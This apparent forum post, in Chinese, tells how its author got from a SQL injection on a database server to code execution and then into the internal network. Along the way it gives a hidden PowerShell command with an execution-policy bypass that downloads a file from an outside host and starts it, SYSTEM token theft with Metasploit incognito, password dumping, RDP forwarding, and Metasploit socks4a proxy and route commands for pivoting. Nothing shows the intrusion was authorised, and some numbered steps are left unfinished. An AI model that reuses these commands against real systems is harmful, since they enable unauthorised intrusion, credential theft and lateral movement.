偶遇一个注入,权限还是蛮大的,至少执行cmdshell是没问题的,因为这是一台数据库服务器,和目标站是站库分离,又在内网中,所以没办法拿下shell。 我想得到内网环境,继续内网渗透,可是在用sqlmap上传的过程中发现始终无法上传....

powershell 远程下载文件+MSF监听
没错,就是通过powershell 远程下载文件,没法上传,我们就下载,命令很简单:
powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://xxx.xx.com/1.txt','C:\Windows\Tasks\23.txt');start-process
1.寻找可读可写目录





提权之EXP砸不动肿么办?
本来吧,我一直以为是win2008的。。原谅我没仔细看。。。 在搞定上传问题之后,就准备转发内网出来上服务器了,但是呢,首先咱得有个账号不是?那么就需要提权了。。。 经过半天的powershell 远程下载EXP,一堆EXP砸上去发现毫无反应,what? 然后果断systeminfo看下补丁。。。结果震惊的发现居然是win2012的系统?。。。。

use incognito
过后,我直接就列出来NT AUTHORITY\SYSTEM
的令牌了,因此省去了后面的一些步骤。
感谢@了凡四训 大牛的文章,让我第一次发现win2012提权居然可以如此简单?
接下来就是getpass,然后转发3389,上服务器了。
内网转发的困扰
服务器上没有站点,所以reGeorg-master
的转发脚本全部用不了,我本机是内网,目标也是内网。。NC也不行。。。该怎么办呢?。。。
很多端口转发工具我都没用过,因为很少搞内网。。。
强调一下,我MSF是在外网的centos上面,所以MSF可以反弹成功,另外通过msf代理的下来的话毫无作用,我是想代理到我本机,我的电脑内网,目标内网,是这么个情况。
需要exe格式,还需要支持双内网,真心想不到什么工具了。
瞬间陷入死胡同,容我静静。
峰回路转,幸福来的太突然
就在我不知道该怎么办好的时候,突然脑子灵光一闪,瞬间思路来了。 1.首先,他是有外网IP的


补充:
感谢土司各位大佬的帮助,没怎么研究过MSF,对MSF不熟悉,原来还可以利用MSF开代理,然后本机链接代理的操作。msf开了代理 用Proxifier 这个软件填你vpsip+代理端口 添加你要代理的程序 比如mstsc..firefox 你代理的本地程序就走代理流量了。(这里路由根据内网情况自己设置吧也可以直接设置0.0.0.0 .......)msf > use auxiliary/server/socks4a msf auxiliary(socks4a) > set SRVPORT 443 SRVPORT => 443 msf auxiliary(socks4a) > exploit route add 192.168.0.0 255.255.0.0 sesseion id